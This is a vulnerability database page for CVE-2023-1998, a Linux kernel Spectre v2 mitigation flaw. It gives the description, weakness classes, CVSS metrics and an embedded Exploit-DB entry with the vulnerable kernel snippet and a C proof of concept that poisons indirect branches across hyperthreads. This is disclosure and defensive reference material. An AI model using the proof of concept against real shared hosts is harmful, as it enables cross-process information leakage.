CVE-2023-1998 : Detail

CVE-2023-1998

5.6
/
Medium
0.1%V3
Local
2023-04-21
14h51 +00:00
2025-02-13
16h39 +00:00
CVE.org
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CVE Descriptions

Spectre v2 SMT mitigations problem in Linux kernel

The Linux kernel allows userspace processes to enable mitigations by calling prctl with PR_SET_SPECULATION_CTRL which disables the speculation feature as well as by using seccomp. We had noticed that on VMs of at least one major cloud provider, the kernel still left the victim process exposed to attacks in some cases even after enabling the spectre-BTI mitigation with prctl. The same behavior can be observed on a bare-metal machine when forcing the mitigation to IBRS on boot command line. This happened because when plain IBRS was enabled (not enhanced IBRS), the kernel had some logic that determined that STIBP was not needed. The IBRS bit implicitly protects against cross-thread branch target injection. However, with legacy IBRS, the IBRS bit was cleared on returning to userspace, due to performance reasons, which disabled the implicit STIBP and left userspace threads vulnerable to cross-thread branch target injection against which STIBP protects.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-1303 Non-Transparent Sharing of Microarchitectural Resources
Hardware structures shared across execution contexts (e.g., caches and branch predictors) can violate the expected architecture isolation between contexts.
CWE-203 Observable Discrepancy
The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.6 MEDIUM CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51384

Publication date : 2023-04-19 22h00 +00:00
Author : nu11secur1ty
EDB Verified : No

## Exploit Title: Linux Kernel 6.2 - Userspace Processes To Enable Mitigation ## Exploit Author: nu11secur1ty ## CVE ID: CVE-2023-1998 ## Description ## Summary The Linux kernel allows userspace processes to enable mitigations by calling prctl with [PR_SET_SPECULATION_CTRL](https://docs.kernel.org/userspace-api/spec_ctrl.html) which disables the speculation feature as well as by using seccomp. We had noticed that on VMs of at least one major cloud provider, the kernel still left the victim process exposed to attacks in some cases even after enabling the spectre-BTI mitigation with prctl. The same beahaviour can be observed on a bare-metal machine when forcing the mitigation to IBRS on boot comand line. This happened because when plain IBRS was enabled (not enhanced IBRS), the kernel had some logic that determined that [STIBP](https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/single-thread-indirect-branch-predictors.html) was not needed. The IBRS bit implicitly protects against cross-thread branch target injection. However, with legacy [IBRS](https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/technical-documentation/indirect-branch-restricted-speculation.html), the IBRS bit was cleared on returning to userspace, due to performance reasons, which disabled the implicit STIBP and left userspace threads vulnerable to cross-thread branch target injection against which STIBP protects. ## Severity Medium - The kernel failed to protect applications that attempted to protect against Spectre v2 leaving them open to attack from other processes running on the same physical core in another hyperthread. ## Vulnerable code The Bug present on Kernel 6.2 (https://elixir.bootlin.com/linux/v6.2/source/arch/x86/kernel/cpu/bugs.c#L1196) implements an optimization that disables STIBP if the mitgation is IBRS or eIBRS. However IBRS doesn't mitigate SMT attacks on userspace as eIBRS does. Setting spectre_v2=ibrs on kernel boot parameters for bare metal machines without eIBRS support also triggers the bug. ```c /* * If no STIBP, IBRS or enhanced IBRS is enabled, or SMT impossible, * STIBP is not required. */ if (!boot_cpu_has(X86_FEATURE_STIBP) || !smt_possible || spectre_v2_in_ibrs_mode(spectre_v2_enabled)) return; ``` ## Proof of Concept The test consists of two processes. The attacker constantly poisons an indirect call to speculatively redirect it to a target address. The victim process measures the mispredict rate and tries to mitigate the attack either by calling PRCTL or writing to the MSR directly using a kernel module that exposes MSR read and write operations to userspace. ```c /* gcc -o victim test.c -O0 -masm=intel -w -DVICTIM gcc -o victim-PRCTL test.c -O0 -masm=intel -w -DVICTIM -DPRCTL gcc -o victim-nospecctrl test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=0 gcc -o victim-IBRS test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=1 gcc -o victim-STIBP test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=2 gcc -o victim-IBPB test.c -O0 -masm=intel -w -DVICTIM -DMSR -DMSR_VAL=0 -DIBPB gcc -o attacker test.c -O0 -masm=intel -w */ #include "utils.h" #include <stdio.h> #include <string.h> #include <sys/prctl.h> #ifndef PRINT_AMMOUNT #define PRINT_AMMOUNT 1000 #endif #define IA32_SPEC_CTRL 72 uint8_t *rdiPtr; uint8_t unused[0x500]; uint8_t probeArray[0x1000] = {2}; uint8_t unuse2[0x500]; uint32_t f1() {} int poison(uint8_t *srcAddress, uint8_t *dstAddress, uint64_t cpu) { volatile uint8_t d; unsigned tries = 0; unsigned hits = 0; unsigned totalHits = 0; unsigned totalTries = 0; jitForLoop(srcAddress); while (1) { #ifndef VICTIM callGadget(srcAddress, (uint8_t *)&rdiPtr, (uint8_t *)probeArray); continue; #else #ifdef IBPB wrmsr_on_cpu(73, cpu, 1); #endif for (int i = 0; i < 100; i++) { d = *dstAddress; flush((uint8_t *)&rdiPtr); callGadget(srcAddress, (uint8_t *)&rdiPtr, (uint8_t *)probeArray); } if (probe(&probeArray[0]) < THRESHOLD) { hits++; totalHits++; } totalTries++; if (++tries % PRINT_AMMOUNT == 0) { printf("Rate: %u/%u MSR[72]=%d\n", hits, tries,rdmsr_on_cpu(IA32_SPEC_CTRL,cpu)); #ifdef MSR wrmsr_on_cpu(IA32_SPEC_CTRL, cpu, MSR_VAL); #endif tries = 0; hits = 0; if (totalTries >= PRINT_AMMOUNT * 10) { break; } } usleep(1); #endif } printf("Total mispredict rate: %d/%d (%.2f %)\n", totalHits, totalTries, (float)totalHits * 100 / (float)totalTries); } int main(int argc, char **argv) { uint64_t srcAddress; uint64_t dstAddress; uint64_t cpu; if (argc < 4) { printf("Usage: %s <srcAddress> <dstAddress> <cpuCore> \n", argv[0]); printf("Example: %s 0x55555554123 0x55555555345 1 \n", argv[0]); return 0; } srcAddress = (uint64_t)strtoull(argv[1], NULL, 16); dstAddress = (uint64_t)strtoull(argv[2], NULL, 16); cpu = (uint64_t)strtoull(argv[3], NULL, 16); SetCoreAffinity(cpu); uint8_t *rwx1 = requestMem((uint8_t *)(srcAddress & (~0xfffULL)), 0x1000); uint8_t *rwx2 = requestMem((uint8_t *)(dstAddress & (~0xfffULL)), 0x1000); #ifdef PRCTL if (prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0) != 0) { perror("prctl"); } printf("PRCTL GET value 0x%x\n", prctl(PR_GET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, 0, 0, 0)); #endif #ifdef MSR printf("current value msr[%d]=%d on core %d\n", IA32_SPEC_CTRL, rdmsr_on_cpu(IA32_SPEC_CTRL, cpu), cpu); wrmsr_on_cpu(IA32_SPEC_CTRL, cpu, MSR_VAL); printf("writing msr[%d]=%d on core %d \n", IA32_SPEC_CTRL, MSR_VAL, cpu); printf("current value msr[%d]=%d on core %d\n", IA32_SPEC_CTRL, rdmsr_on_cpu(IA32_SPEC_CTRL, cpu), cpu); #endif // set up leak gadget into position #ifdef VICTIM rdiPtr = (uint8_t *)f1; copyLeakGadget(dstAddress); #else rdiPtr = (uint8_t *)dstAddress; copyRetGadget(dstAddress); #endif poison(srcAddress, dstAddress, cpu); #ifdef MSR printf("current value msr[%d]=%d on core %d\n", IA32_SPEC_CTRL, rdmsr_on_cpu(IA32_SPEC_CTRL, cpu), cpu); #endif } ``` Timeline **Date reported** to Cloud providers: 31/12/2022 **Date reported** to [email protected]: 20/02/2022 **Date fixed:** 10/03/2023 - [torvalds/linux@6921ed9](https://github.com/torvalds/linux/commit/6921ed9049bc7457f66c1596c5b78aec0dae4a9d) - https://kernel.dance/#6921ed9049bc7457f66c1596c5b78aec0dae4a9d Date disclosed: 12/04/2023 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 6.3

Configuraton 0

Debian>>Debian_linux >> Version 10.0

References